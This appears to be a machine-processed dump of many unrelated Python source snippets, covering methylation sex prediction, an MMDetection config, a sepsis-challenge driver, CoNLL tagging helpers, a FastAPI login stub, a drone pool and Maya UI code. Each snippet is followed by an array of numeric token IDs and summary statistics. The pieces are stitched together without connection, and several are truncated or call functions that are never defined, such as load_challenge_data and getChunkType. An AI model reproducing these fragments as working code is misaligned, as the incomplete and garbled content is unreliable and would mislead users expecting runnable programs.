import os from pathlib import Path __all__ = ['list_files_recur', 'scan_and_create_dir_tree', 'get_all_data_files', 'get_subsubdirs'] def list_files_recur(path): """ Cheater function that wraps path.rglob(). :param Path path: path to list recursively :return list: list of Path objects """ files = [] for file in path.rglob('*'): files.append(file) return files def scan_and_create_dir_tree(path, file=True): """ Creates all the necessary directories for the file at the end of path to be created. When specified with a filepath to a file or folder, it creates directories until the path is valid. :param Path path: must end with a filename, else the final directory won't be created :param bool file: Boolean, does the given path end with a file? If not, path.parts[-1] will be created :return None: """ parts = path.parts path_to_check = Path(parts[0]) for i in range(1, len(parts)): if not path_to_check.exists(): path_to_check.mkdir() path_to_check = path_to_check / parts[i] if file: pass else: if not path_to_check.exists(): path_to_check.mkdir() def get_all_data_files(path, filetype): """ Recursively search the given directory for .xxx files. :param Path path: Path to search :param str filetype: str, ".type" of file to search for :return list: list of file-like Path objects """ files = list_files_recur(path) files[:] = [file for file in files if filetype in file.name] return files def get_subsubdirs(path): """ Get the second-level subdirectories of the given path. If given path 'a/b', a sample return would be ['a/b/c/d', 'a/b/c/d2', 'a/b/c/etc'] :param str path: :return list: list containing Path instances for all paths found two levels below the supplied path """ leveltwo_subdirs = [] immediate_subdirs = [os.scandir(subdir) for subdir in os.scandir(path) if Path(subdir).is_dir()] for scan in immediate_subdirs: for subdir in scan: leveltwo_subdirs.append(Path(subdir)) if Path(subdir).is_dir() else None return leveltwo_subdirs
[ 11748, 28686, 198, 6738, 3108, 8019, 1330, 10644, 198, 198, 834, 439, 834, 796, 37250, 4868, 62, 16624, 62, 8344, 333, 3256, 705, 35836, 62, 392, 62, 17953, 62, 15908, 62, 21048, 3256, 705, 1136, 62, 439, 62, 7890, 62, 16624, 3256, ...
2.625148
843
# Copyright (C) 2018-2022 Intel Corporation # SPDX-License-Identifier: Apache-2.0 import numpy as np from openvino.tools.mo.front.common.partial_infer.utils import dynamic_dimension_value, shape_array, set_input_shapes from openvino.tools.mo.ops.op import Op
[ 2, 15069, 357, 34, 8, 2864, 12, 1238, 1828, 8180, 10501, 198, 2, 30628, 55, 12, 34156, 12, 33234, 7483, 25, 24843, 12, 17, 13, 15, 198, 198, 11748, 299, 32152, 355, 45941, 198, 198, 6738, 1280, 85, 2879, 13, 31391, 13, 5908, 13, ...
3.011494
87
#!/usr/bin/env python import numpy as np, os, sys from get_sepsis_score import load_sepsis_model, get_sepsis_score if __name__ == '__main__': # Parse arguments. if len(sys.argv) != 3: raise Exception('Include the input and output directories as arguments, e.g., python driver.py input output.') input_directory = sys.argv[1] output_directory = sys.argv[2] # Find files. files = [] for f in os.listdir(input_directory): if os.path.isfile(os.path.join(input_directory, f)) and not f.lower().startswith('.') and f.lower().endswith('psv'): files.append(f) if not os.path.isdir(output_directory): os.mkdir(output_directory) # Load model. model = load_sepsis_model() print(model) # Iterate over files. for f in files: # Load data. input_file = os.path.join(input_directory, f) data = load_challenge_data(input_file) # print(type(data)) # Make predictions. num_rows = len(data) scores = np.zeros(num_rows) labels = np.zeros(num_rows) for t in range(num_rows): current_data = data[:t+1] current_score, current_label = get_sepsis_score(current_data, model) scores[t] = current_score labels[t] = current_label # Save results. output_file = os.path.join(output_directory, f) save_challenge_predictions(output_file, scores, labels)
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 198, 11748, 299, 32152, 355, 45941, 11, 28686, 11, 25064, 198, 6738, 651, 62, 325, 862, 271, 62, 26675, 1330, 3440, 62, 325, 862, 271, 62, 19849, 11, 651, 62, 325, 862, 271, 62, 26...
2.275701
642
#!/usr/bin/python3.5 # -*-coding: utf-8 -* from collections import defaultdict from threading import Thread from time import perf_counter, time from LspLibrary import bcolors import time import matplotlib.pyplot as plt
[ 2, 48443, 14629, 14, 8800, 14, 29412, 18, 13, 20, 198, 2, 532, 9, 12, 66, 7656, 25, 3384, 69, 12, 23, 532, 9, 198, 198, 6738, 17268, 1330, 4277, 11600, 198, 6738, 4704, 278, 1330, 14122, 198, 6738, 640, 1330, 23035, 62, 24588, 1...
3.142857
70
from .python.parser import PythonParser all_parsers = [PythonParser]
[ 6738, 764, 29412, 13, 48610, 1330, 11361, 46677, 198, 198, 439, 62, 79, 945, 364, 796, 685, 37906, 46677, 60, 198 ]
3.333333
21
import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns from pathlib import Path #app import methylcheck # uses .load; get_sex uses methylprep models too and detect_array() import logging LOGGER = logging.getLogger(__name__) logging.basicConfig(level=logging.INFO) def _get_copy_number(meth,unmeth): """function to return copy number. requires dataframes of methylated and unmethylated values. can be raw OR corrected""" # minfi R version: # log2(getMeth(object) + getUnmeth(object)) return np.log2(meth+unmeth) def get_sex(data_source, array_type=None, verbose=False, plot=False, save=False, on_lambda=False, median_cutoff= -2, include_probe_failure_percent=True, poobah_cutoff=20, custom_label=None, return_fig=False, return_labels=False): """This will calculate and predict the sex of each sample. inputs: ======= the "data_source" can be any one of: path -- to a folder with csv data that contains processed sample data path -- to a folder with the 'meth_values.pkl' and 'unmeth_values.pkl' dataframes path -- to a folder also containing samplesheet pkl and poobah_values.pkl, if you want to compare predicted sex with actual sex. data_containers -- object created from methylprep.run_pipeline() or methylcheck.load(path, 'meth') tuple of (meth, unmeth) dataframes array_type (string) enum: {'27k','450k','epic','epic+','mouse'} if not specified, it will load the data from data_source and determine the array for you. median_cutoff the minimum difference in the medians of X and Y probe copy numbers to assign male or female (copied from the minfi sex predict function) include_probe_failure_percent: True: includes poobah percent per sample as column in the output table and on the plot. Note: you must supply a 'path' as data_source to include poobah in plots. poobah_cutoff The maximum percent of sample probes that can fail before the sample fails. Default is 20 (percent) Has no effect if `include_probe_failure_percent` is False. plot True: creates a plot, with option to `save` as image or `return_fig`. save True: saves the plot, if plot is True return_fig If True, returns a pyplot figure instead of a dataframe. Default is False. Note: return_fig will not show a plot on screen. return_labels: (requires plot == True) When using poobah_cutoff, the figure only includes A-Z,1...N labels on samples on plot to make it easier to read. So to get what sample_ids these labels correspond to, you can rerun the function with return_labels=True and it will skip plotting and just return a dictionary with sample_ids and these labels, to embed in a PDF report if you like. custom_label: Option to provide a dictionary with keys as sample_ids and values as labels to apply to samples. e.g. add more data about samples to the multi-dimensional QC plot while providing a filepath is the easiest way, you can also pass in a data_containers object, a list of data_containers containing raw meth/unmeth values, instead. This object is produced by methylprep.run_pipeline, or by using methylcheck.load(filepath, format='meth') and lets you customize the import if your files were not prepared using methylprep (non-standand CSV columns, for example) If a `poobah_values.pkl` file can be found in path, the dataframe returned will also include percent of probes for X and Y chromosomes that failed quality control, and warn the user if any did. This feature won't work if a containers object or tuple of dataframes is passed in, instead of a path. Note: ~90% of Y probes should fail if the sample is female. That chromosome is missing.""" allowed_array_types = {'27k','450k','epic','epic+','mouse'} try: from methylprep.files import Manifest from methylprep.models import ArrayType except ImportError: raise ImportError("This function requires methylprep to be installed (pip3 install `methylprep`)") (data_source_type, data_source) = methylcheck.load_processed._data_source_type(data_source) # data_source_type is one of {'path', 'container', 'control', 'meth_unmeth_tuple'} poobah=None if data_source_type in ('path'): # this will look for saved pickles first, then csvs or parsing the containers (which are both slower) # the saved pickles function isn't working for batches yet. try: meth, unmeth = methylcheck.qc_plot._get_data( data_containers=None, path=data_source, compare=False, noob=False, verbose=False) except Exception as e: meth, unmeth = methylcheck.qc_plot._get_data( data_containers=None, path=data_source, compare=False, noob=True, verbose=False) if include_probe_failure_percent == True and Path(data_source,'poobah_values.pkl').expanduser().exists(): poobah = pd.read_pickle(Path(data_source,'poobah_values.pkl').expanduser()) elif data_source_type in ('container'): # this will look for saved pickles first, then csvs or parsing the containers (which are both slower) # the saved pickles function isn't working for batches yet. meth, unmeth = methylcheck.qc_plot._get_data( data_containers=data_source, path=None, compare=False, noob=False, verbose=False) elif data_source_type == 'meth_unmeth_tuple': (meth, unmeth) = data_source if len(meth) != len(unmeth): raise ValueError(f"WARNING: probe count mismatch: meth {len(meth)} -- unmeth {len(unmeth)}") if array_type == None: # get list of X any Y probes - using .methylprep_manifest_files (or MANIFEST_DIR_PATH_LAMBDA) and auto-detected array here array_type = ArrayType(methylcheck.detect_array(meth, on_lambda=on_lambda)) elif isinstance(array_type,str): if array_type in allowed_array_types: array_type = ArrayType(array_type) else: raise ValueError(f"Your array_type must be one of these: {allowed_array_types} or None.") if verbose: LOGGER.debug(array_type) LOGGER.setLevel(logging.WARNING) manifest = Manifest(array_type, on_lambda=on_lambda, verbose=verbose)._Manifest__data_frame # 'custom', '27k', '450k', 'epic', 'epic+' LOGGER.setLevel(logging.INFO) x_probes = manifest.index[manifest['CHR']=='X'] y_probes = manifest.index[manifest['CHR']=='Y'] if verbose: LOGGER.info(f"Found {len(x_probes)} X and {len(y_probes)} Y probes") # dataframes of meth and unmeth values for the sex chromosomes x_meth = meth[meth.index.isin(x_probes)] x_unmeth = unmeth[unmeth.index.isin(x_probes)] y_meth = meth[meth.index.isin(y_probes)] y_unmeth = unmeth[unmeth.index.isin(y_probes)] # create empty dataframe for output output = pd.DataFrame(index=[s for s in meth.columns], columns=['x_median','y_median','predicted_sex']) # get median values for each sex chromosome for each sample x_med = _get_copy_number(x_meth,x_unmeth).median() y_med = _get_copy_number(y_meth,y_unmeth).median() # populate output dataframe with values output['x_median'] = output.index.map(x_med) output['y_median'] = output.index.map(y_med) # compute difference median_difference = output['y_median'] - output['x_median'] # median cutoff - can be manipulated by user --- default = -2 --- used to predict sex sex0 = ['F' if x < median_cutoff else 'M' for x in median_difference] # NOTE for testing: GSE85566/GPL13534 (N=120) has 4 samples that are predicted as wrong sex when using -2, but work at -0.5. # populate dataframe with predicted sex output['predicted_sex'] = sex0 output = output.round(1) # if poobah_df exists, calculate percent X and Y probes that failed sample_failure_percent = {} # % of ALL probes in sample, not just X or Y if include_probe_failure_percent == True and isinstance(poobah, pd.DataFrame): p_value_cutoff = 0.05 X_col = [] Y_col = [] failed_samples = [] for column in poobah.columns: sample_failure_percent[column] = round(100*len(poobah[column][poobah[column] >= p_value_cutoff].index) / len(poobah.index),1) failed_probe_names = poobah[column][poobah[column] >= p_value_cutoff].index failed_x_probe_names = list(set(failed_probe_names) & set(x_probes)) failed_y_probe_names = list(set(failed_probe_names) & set(y_probes)) X_percent = round(100*len(failed_x_probe_names)/poobah.index.isin(list(x_probes)).sum(),1) Y_percent = round(100*len(failed_y_probe_names)/poobah.index.isin(list(y_probes)).sum(),1) X_col.append(X_percent) Y_col.append(Y_percent) if X_percent > 10: failed_samples.append(column) output['X_fail_percent'] = X_col #output.index.map(X_col) output['Y_fail_percent'] = Y_col #output.index.map(Y_col) if failed_samples != []: LOGGER.warning(f"{len(failed_samples)} samples had >10% of X probes fail p-value probe detection. Predictions for these may be unreliable:") LOGGER.warning(f"{failed_samples}") if data_source_type in ('path'): output = _fetch_actual_sex_from_sample_sheet_meta_data(data_source, output) if plot == True: fig = _plot_predicted_sex(data=output, # 'x_median', 'y_median', 'predicted_sex', 'X_fail_percent', 'Y_fail_percent' sample_failure_percent=sample_failure_percent, median_cutoff=median_cutoff, include_probe_failure_percent=include_probe_failure_percent, verbose=verbose, save=save, poobah_cutoff=poobah_cutoff, custom_label=custom_label, data_source_type=data_source_type, data_source=data_source, return_fig=return_fig, return_labels=return_labels, ) if return_labels: return fig # these are a lookup dictionary of labels if return_fig: return fig return output def _plot_predicted_sex(data=pd.DataFrame(), sample_failure_percent={}, median_cutoff= -2, include_probe_failure_percent=True, verbose=False, save=False, poobah_cutoff=20, #% custom_label=None, data_source_type=None, data_source=None, return_fig=False, return_labels=False): """ data columns: ['x_median', 'y_median', 'predicted_sex', 'X_fail_percent', 'Y_fail_percent'] - color is sex, pink or blue - marker circle size will be larger and more faded if poobah values are worse, smaller and darker if low variance. Like a probability cloud. - sample text is (ID, delta age) - sex mismatches are X, matched samples are circles (if samplesheet contains actual sex data) - omits labels for samples that have LOW failure rates, but shows IDs when failed - adds legend of sketchy samples and labels - show delta age on labels (using custom column dict) - unit tests with custom label and without, and check that controls_report still works with this function - save_fig - return_labels, returns a lookup dict instead of plot if there is a "custom_label" dict passed in, such as (actual_age - predicted_age), it simply adds those this label to the marker text labels. Dicts must match the data DF index. """ if sample_failure_percent != {} and set(sample_failure_percent.keys()) == set(data.index): data['sample_failure_percent'] = pd.Series(sample_failure_percent) else: LOGGER.warning("sample_failure_percent index did not align with output data index") #sns.set_theme(style="white") show_mismatches = None if 'sex_matches' not in data.columns else "sex_matches" if show_mismatches: data["sex_matches"] = data["sex_matches"].map({0:"Mismatch", 1:"Match"}) show_failure = None if 'sample_failure_percent' not in data.columns else "sample_failure_percent" sample_sizes = (20, 600) if show_failure: # avoid sizing dots with narrow range; gives false impression of bad samples. poobah_range = data["sample_failure_percent"].max() - data["sample_failure_percent"].min() if poobah_range < poobah_cutoff/2: show_failure = None sample_sizes = (40,40) custom_palette = sns.set_palette(sns.color_palette(['#FE6E89','#0671B7'])) # if only one sex, make sure male is blue; female is pink # if hasattr(output, 'actual_sex') and set(output.actual_sex) == set('M') # if first value to be plotted is male, change palette if hasattr(data, 'predicted_sex') and list(data.predicted_sex)[0] == 'M': custom_palette = sns.set_palette(sns.color_palette(['#0671B7','#FE6E89'])) fig = sns.relplot(data=data, x='x_median', y='y_median', hue="predicted_sex", size=show_failure, style=show_mismatches, sizes=sample_sizes, alpha=.5, palette=custom_palette, height=8, aspect=1.34) ax = fig.axes[0,0] fig.fig.subplots_adjust(top=.95) # for zoomed-in plots with few points close together, set the min scale to be at least 2 units. yscale = plt.gca().get_ylim() xscale = plt.gca().get_xlim() if abs(yscale[1]-yscale[0]) < 2.0: ax.set_xlim(xmin=xscale[0]-1, xmax=xscale[1]+1) ax.set_ylim(ymin=yscale[0]-1, ymax=yscale[1]+1) label_lookup = {index_val: chr(i+65) if (i <= 26) else str(i-26) for i,index_val in enumerate(data.index)} for idx,row in data.iterrows(): if "sample_failure_percent" in row and row['sample_failure_percent'] > poobah_cutoff: label = f"{label_lookup[idx]}, {custom_label.get(idx)}" if isinstance(custom_label, dict) and custom_label.get(idx) else label_lookup[idx] ax.text(row['x_median'], row['y_median'], label, horizontalalignment='center', fontsize=10, color='darkred') else: label = f"{custom_label.get(idx)}" if isinstance(custom_label, dict) else None if label: ax.text(row['x_median']+0.05, row['y_median']+0.05, label, horizontalalignment='center', fontsize=10, color='grey') if return_labels: plt.close() # release memory return label_lookup if "sample_failure_percent" in data.columns: N_failed = len(data[data['sample_failure_percent'] > poobah_cutoff].index) N_total = len(data['sample_failure_percent'].index) ax.set_title(f"{N_failed} of {N_total} samples failed poobah, with at least {poobah_cutoff}% of probes failing") else: ax.set_title(f"Predicted sex based on matching X and Y probes.") if save: filepath = 'predicted_sexes.png' if data_source_type != 'path' else Path(data_source,'predicted_sexes.png').expanduser() plt.savefig(filepath, bbox_inches="tight") if return_fig: return fig plt.show() def _fetch_actual_sex_from_sample_sheet_meta_data(filepath, output): """output is a dataframe with Sample_ID in the index. This adds actual_sex as a column and returns it.""" # controls_report() does the same thing, and only calls get_sex() with the minimum of data to be fast, because these are already loaded. Just passes in meth/unmeth data # Sample sheet should have 'M' or 'F' in column to match predicted sex. # merge actual sex into processed output, if available file_patterns = { 'sample_sheet_meta_data.pkl': 'meta', '*_meta_data.pkl': 'meta', '*samplesheet*.csv': 'meta', '*sample_sheet*.csv': 'meta', } loaded_files = {} for file_pattern in file_patterns: for filename in Path(filepath).expanduser().rglob(file_pattern): if '.pkl' in filename.suffixes: loaded_files['meta'] = pd.read_pickle(filename) break if '.csv' in filename.suffixes: loaded_files['meta'] = pd.read_csv(filename) break if len(loaded_files) == 1: # methylprep v1.5.4-6 was creating meta_data files with two Sample_ID columns. Check and fix here: # methylcheck 0.7.9 / prep 1.6.0 meta_data lacking Sample_ID when sample_sheet uses alt column names and gets replaced. if any(loaded_files['meta'].columns.duplicated()): loaded_files['meta'] = loaded_files['meta'].loc[:, ~loaded_files['meta'].columns.duplicated()] LOGGER.info("Removed a duplicate Sample_ID column in samplesheet") if 'Sample_ID' in loaded_files['meta'].columns: loaded_files['meta'] = loaded_files['meta'].set_index('Sample_ID') elif 'Sentrix_ID' in loaded_files['meta'].columns and 'Sentrix_Position' in loaded_files['meta'].columns: loaded_files['meta']['Sample_ID'] = loaded_files['meta']['Sentrix_ID'].astype(str) + '_' + loaded_files['meta']['Sentrix_Position'].astype(str) loaded_files['meta'] = loaded_files['meta'].set_index('Sample_ID') else: raise ValueError("Your sample sheet must have a Sample_ID column, or (Sentrix_ID and Sentrix_Position) columns.") # fixing case of the relevant column renamed_column = None if ('Gender' in loaded_files['meta'].columns or 'Sex' in loaded_files['meta'].columns): if 'Gender' in loaded_files['meta'].columns: renamed_column = 'Gender' elif 'Sex' in loaded_files['meta'].columns: renamed_column = 'Sex' else: renamed_columns = {col:(col.title() if col.lower() in ('sex','gender') else col) for col in loaded_files['meta'].columns} loaded_files['meta'] = loaded_files['meta'].rename(columns=renamed_columns) if 'Gender' in renamed_columns.values(): renamed_column = 'Gender' elif 'Sex' in renamed_columns.values(): renamed_column = 'Sex' if renamed_column is not None: # next, ensure samplesheet Sex/Gender (Male/Female) are recoded as M/F; controls_report() does NOT do this step, but should. sex_values = set(loaded_files['meta'][renamed_column].unique()) #print('sex_values', sex_values) if not sex_values.issubset(set(['M','F'])): # subset, because samples might only contain one sex if 'Male' in sex_values or 'Female' in sex_values: loaded_files['meta'][renamed_column] = loaded_files['meta'][renamed_column].map({'Male':'M', 'Female':'F'}) elif 'male' in sex_values or 'female' in sex_values: loaded_files['meta'][renamed_column] = loaded_files['meta'][renamed_column].map({'male':'M', 'female':'F'}) elif 'MALE' in sex_values or 'FEMALE' in sex_values: loaded_files['meta'][renamed_column] = loaded_files['meta'][renamed_column].map({'MALE':'M', 'FEMALE':'F'}) elif 'm' in sex_values or 'f' in sex_values: loaded_files['meta'][renamed_column] = loaded_files['meta'][renamed_column].map({'m':'M', 'f':'F'}) else: raise ValueError(f"Cannot compare with predicted sex because actual sexes listed in your samplesheet are not understood (expecting M or F): (found {sex_values})") output['actual_sex'] = None output['sex_matches'] = None for row in output.itertuples(): try: actual_sex = str(loaded_files['meta'].loc[row.Index].get(renamed_column)) except KeyError: if 'Sample_ID' in output.columns: LOGGER.warning("Sample_ID was another column in your output DataFrame; Set that to the index when you pass it in.") raise KeyError("Could not read actual sex from meta data to compare.") if isinstance(actual_sex, pd.Series): LOGGER.warning(f"Multiple samples matched actual sex for {row.Index}, because Sample_ID repeats in sample sheets. Only using first match, so matches may not be accurate.") actual_sex = actual_sex[0] if hasattr(row,'predicted_sex'): sex_matches = 1 if actual_sex.upper() == str(row.predicted_sex).upper() else 0 else: sex_matches = np.nan output.loc[row.Index, 'actual_sex'] = actual_sex output.loc[row.Index, 'sex_matches'] = sex_matches else: pass # no Sex/Gender column found in samplesheet return output
[ 11748, 19798, 292, 355, 279, 67, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 2603, 29487, 8019, 13, 9078, 29487, 355, 458, 83, 198, 11748, 384, 397, 1211, 355, 3013, 82, 198, 6738, 3108, 8019, 1330, 10644, 198, 2, 1324, 198, 11748...
2.471633
8,390
# Generated by Django 3.1.2 on 2020-11-15 15:37 import django.core.validators from django.db import migrations, models
[ 2, 2980, 515, 416, 37770, 513, 13, 16, 13, 17, 319, 12131, 12, 1157, 12, 1314, 1315, 25, 2718, 198, 198, 11748, 42625, 14208, 13, 7295, 13, 12102, 2024, 198, 6738, 42625, 14208, 13, 9945, 1330, 15720, 602, 11, 4981, 628 ]
2.95122
41
import subprocess from git_fortune._compat import fix_line_endings from git_fortune.version import __version__ def test_noargs(capfd): """just make sure it doesn't crashfail""" subprocess.check_call(["git-fortune"]) captured = capfd.readouterr() assert "GIT TIP #" in captured.out # from the box format def test_category(capfd): """just make sure it doesn't crashfail""" subprocess.check_call(["git-fortune", "--category", "diff"]) captured = capfd.readouterr() assert "GIT TIP #" in captured.out # from the box format
[ 11748, 850, 14681, 198, 198, 6738, 17606, 62, 37359, 13557, 5589, 265, 1330, 4259, 62, 1370, 62, 437, 654, 198, 6738, 17606, 62, 37359, 13, 9641, 1330, 11593, 9641, 834, 628, 628, 628, 198, 4299, 1332, 62, 3919, 22046, 7, 11128, 16344...
2.917098
193
_base_ = [ '../_base_/models/faster_rcnn_r50_fpn.py' ] model = dict( type='FasterRCNN', # pretrained='torchvision://resnet50', backbone=dict( type='ResNet', depth=50, num_stages=4, out_indices=(0, 1, 2, 3), frozen_stages=1, norm_cfg=dict(type='BN', requires_grad=True), norm_eval=True, style='pytorch'), neck=dict( type='FPN', in_channels=[256, 512, 1024, 2048], out_channels=256, num_outs=5), rpn_head=dict( type='RPNHead', in_channels=256, feat_channels=256, anchor_generator=dict( type='AnchorGenerator', scales=[8], ratios=[0.5, 1.0, 2.0], strides=[4, 8, 16, 32, 64]), bbox_coder=dict( type='DeltaXYWHBBoxCoder', target_means=[.0, .0, .0, .0], target_stds=[1.0, 1.0, 1.0, 1.0]), loss_cls=dict( type='CrossEntropyLoss', use_sigmoid=True, loss_weight=1.0), loss_bbox=dict(type='L1Loss', loss_weight=1.0)), roi_head=dict( # type='StandardRoIHead', _delete_=True, type='KeypointRoIHead', output_heatmaps=False, # keypoint_head=dict( # type='HRNetKeypointHead', # num_convs=8, # in_channels=256, # features_size=[256, 256, 256, 256], # conv_out_channels=512, # num_keypoints=5, # loss_keypoint=dict(type='MSELoss', loss_weight=50.0)), keypoint_decoder=dict(type='HeatmapDecodeOneKeypoint', upscale=4), bbox_roi_extractor=dict( type='SingleRoIExtractor', roi_layer=dict(type='RoIAlign', output_size=7, sampling_ratio=0), out_channels=256, featmap_strides=[4, 8, 16, 32]), bbox_head=dict( type='Shared2FCBBoxHead', in_channels=256, fc_out_channels=1024, roi_feat_size=7, num_classes=80, bbox_coder=dict( type='DeltaXYWHBBoxCoder', target_means=[0., 0., 0., 0.], target_stds=[0.1, 0.1, 0.2, 0.2]), reg_class_agnostic=False, loss_cls=dict( type='CrossEntropyLoss', use_sigmoid=False, loss_weight=1.0), loss_bbox=dict(type='L1Loss', loss_weight=1.0))) ) #optimizer = dict(lr=0.002) #lr_config = dict(step=[40, 55]) #total_epochs = 60
[ 62, 8692, 62, 796, 685, 198, 220, 220, 220, 705, 40720, 62, 8692, 62, 14, 27530, 14, 69, 1603, 62, 6015, 20471, 62, 81, 1120, 62, 69, 21999, 13, 9078, 6, 198, 60, 198, 198, 19849, 796, 8633, 7, 198, 220, 220, 220, 2099, 11639, ...
1.765082
1,409
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. import torch, math from torch import nn from torch.autograd import Function from torch.autograd.function import once_differentiable from torch.nn.modules.utils import _pair from SparseConvNet.sparseconvnet.tools_3d_2d import sparse_3d_to_dense_2d import _C roi_align_rotated_3d = _ROIAlignRotated3D.apply
[ 2, 15069, 357, 66, 8, 3203, 11, 3457, 13, 290, 663, 29116, 13, 1439, 6923, 33876, 13, 198, 11748, 28034, 11, 10688, 198, 6738, 28034, 1330, 299, 77, 198, 6738, 28034, 13, 2306, 519, 6335, 1330, 15553, 198, 6738, 28034, 13, 2306, 519...
3.007874
127
import numpy as np import os from .logger import printLog UNK = "$UNK$" NUM = "$NUM$" NONE = "O" # Class that iterates over CoNLL Dataset #Create a dictionary from dataset def getDictionary(datasets): printLog("Building dictionary: ") dictWords = set() dictTags = set() for dataset in datasets: for words, tags in dataset: dictWords.update(words) dictTags.update(tags) printLog("DONE: " + str(len(dictWords)) + " size") return dictWords, dictTags def getCharDictionary(dataset): dictChar = set() for words, _ in dataset: for word in words: dictChar.update(word) return dictChar #filename - path wo file with vectors def getChunks(seq, tags): """Given a sequence of tags, group entities and their position Args: seq: [4, 4, 0, 0, ...] sequence of labels tags: dict["O"] = 4 Returns: list of (chunkType, chunkStart, chunkEnd) Example: seq = [4, 5, 0, 3] tags = {"B-PER": 4, "I-PER": 5, "B-LOC": 3} result = [("PER", 0, 2), ("LOC", 3, 4)] """ default = tags[NONE] idxToTag = {idx: tag for tag, idx in tags.items()} chunks = [] chunkType, chunkStart = None, None for i, tok in enumerate(seq): # End of a chunk 1 if tok == default and chunkType is not None: # Add a chunk. chunk = (chunkType, chunkStart, i) chunks.append(chunk) chunkType, chunkStart = None, None # End of a chunk + start of a chunk! elif tok != default: tokChunkClass, tokChunkType = getChunkType(tok, idxToTag) if chunkType is None: chunkType, chunkStart = tokChunkType, i elif tokChunkType != chunkType or tokChunkClass == "B": chunk = (chunkType, chunkStart, i) chunks.append(chunk) chunkType, chunkStart = tokChunkType, i else: pass # end condition if chunkType is not None: chunk = (chunkType, chunkStart, len(seq)) chunks.append(chunk) return chunks
[ 11748, 299, 32152, 355, 45941, 198, 11748, 28686, 198, 6738, 764, 6404, 1362, 1330, 3601, 11187, 198, 198, 4944, 42, 796, 17971, 4944, 42, 3, 1, 198, 41359, 796, 17971, 41359, 3, 1, 198, 45, 11651, 796, 366, 46, 1, 198, 198, 2, 50...
2.205579
968
import nox FILE_PATHS = ["utils", "main.py"]
[ 11748, 645, 87, 198, 198, 25664, 62, 47, 1404, 7998, 796, 14631, 26791, 1600, 366, 12417, 13, 9078, 8973, 198 ]
2.3
20
import os import df2img import disnake import pandas as pd from PIL import Image import discordbot.config_discordbot as cfg from discordbot.config_discordbot import logger from discordbot.helpers import autocrop_image from gamestonk_terminal.economy import wsj_model
[ 11748, 28686, 198, 198, 11748, 47764, 17, 9600, 198, 11748, 595, 77, 539, 198, 11748, 19798, 292, 355, 279, 67, 198, 6738, 350, 4146, 1330, 7412, 198, 198, 11748, 36446, 13645, 13, 11250, 62, 15410, 585, 13645, 355, 30218, 70, 198, 67...
3.253012
83
import os import yaml import logging logger = logging.getLogger(__name__) # the following model structures for recipes / layers / queries allows searching up the chain # for attributes. If not found in the root recipes level then it will check the server configs.
[ 11748, 28686, 198, 11748, 331, 43695, 198, 11748, 18931, 198, 198, 6404, 1362, 796, 18931, 13, 1136, 11187, 1362, 7, 834, 3672, 834, 8, 198, 198, 2, 262, 1708, 2746, 8573, 329, 14296, 1220, 11685, 1220, 20743, 3578, 10342, 510, 262, 6...
4.060606
66
from .torch2onnx import torch2onnx from .onnx2trt import onnx2trt from .torch2trt import torch2trt from .base import load, save
[ 6738, 764, 13165, 354, 17, 261, 77, 87, 1330, 28034, 17, 261, 77, 87, 198, 6738, 764, 261, 77, 87, 17, 2213, 83, 1330, 319, 77, 87, 17, 2213, 83, 198, 6738, 764, 13165, 354, 17, 2213, 83, 1330, 28034, 17, 2213, 83, 198, 6738, ...
2.461538
52
import numpy as np import torch import framework.ops import t2vretrieval.encoders.mlsent import t2vretrieval.encoders.mlvideo import t2vretrieval.models.globalmatch from t2vretrieval.models.criterion import cosine_sim from t2vretrieval.models.globalmatch import VISENC, TXTENC
[ 11748, 299, 32152, 355, 45941, 198, 11748, 28034, 198, 11748, 9355, 13, 2840, 198, 11748, 256, 17, 85, 1186, 380, 18206, 13, 12685, 375, 364, 13, 4029, 34086, 198, 11748, 256, 17, 85, 1186, 380, 18206, 13, 12685, 375, 364, 13, 4029, ...
2.868687
99
#!/usr/bin/env python # -*- coding: utf-8 -*- # # login.py # @Author : Gustavo Freitas (gustavo@gmf-tech.com) # @Link : # @Date : 12/12/2019, 11:43:07 AM from typing import Optional, Any from fastapi import APIRouter, Body, Depends, HTTPException from fastapi import Header, Security from authentication.models.users import User from fastapi.security import HTTPBasic, HTTPBasicCredentials, APIKeyHeader from typing import List from starlette.responses import Response from fastapi.encoders import jsonable_encoder from authentication.interfaces.database import database import jwt from starlette.status import HTTP_400_BAD_REQUEST, HTTP_401_UNAUTHORIZED from datetime import datetime, timedelta from hashlib import sha256 from authentication.interfaces.token import verify_token router = APIRouter() security = HTTPBasic(auto_error=True) api_key = APIKeyHeader(name="x-api-key", auto_error=True) # @router.post("/login", dependencies=[Depends(verify_token)]) # async def renew_token(x_api_key: str = Header(None)): # return {"ok": x_api_key}
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 2, 198, 2, 17594, 13, 9078, 198, 2, 2488, 13838, 1058, 43715, 78, 4848, 21416, 357, 70, 436, 615, 78, 31, 39870, 69...
3.099707
341
#DronePool module which handles interaction with SITLs from dronekit import Vehicle, VehicleMode, connect from dronekit_sitl import SITL from threading import Lock import node, time import mavparser import threadrunner drone_pool = {} instance_count = 0 env_test = False q = None mq = None lock = Lock()
[ 2, 6187, 505, 27201, 8265, 543, 17105, 10375, 351, 311, 2043, 43, 82, 198, 198, 6738, 12170, 15813, 1330, 21501, 11, 21501, 19076, 11, 2018, 198, 6738, 12170, 15813, 62, 48937, 75, 1330, 311, 2043, 43, 198, 6738, 4704, 278, 1330, 1365...
3.347826
92
# @Title: (Longest String Chain) # @Author: KivenC # @Date: 2019-05-26 20:35:25 # @Runtime: 144 ms # @Memory: 13.3 MB
[ 198, 2, 2488, 19160, 25, 220, 357, 14617, 395, 10903, 21853, 8, 198, 2, 2488, 13838, 25, 509, 1469, 34, 198, 2, 2488, 10430, 25, 13130, 12, 2713, 12, 2075, 1160, 25, 2327, 25, 1495, 198, 2, 2488, 41006, 25, 20224, 13845, 198, 2, ...
2.307692
52
from ctrlUI_lib import createClav2, createSphere import maya.cmds as cmds import maya.OpenMaya as om from functools import partial # Buttons +1 and +3 count = 0 showUI()
[ 6738, 269, 14859, 10080, 62, 8019, 1330, 2251, 2601, 615, 17, 11, 2251, 38882, 198, 11748, 743, 64, 13, 28758, 82, 355, 23991, 82, 198, 11748, 743, 64, 13, 11505, 6747, 64, 355, 39030, 198, 6738, 1257, 310, 10141, 1330, 13027, 198, ...
2.526316
76
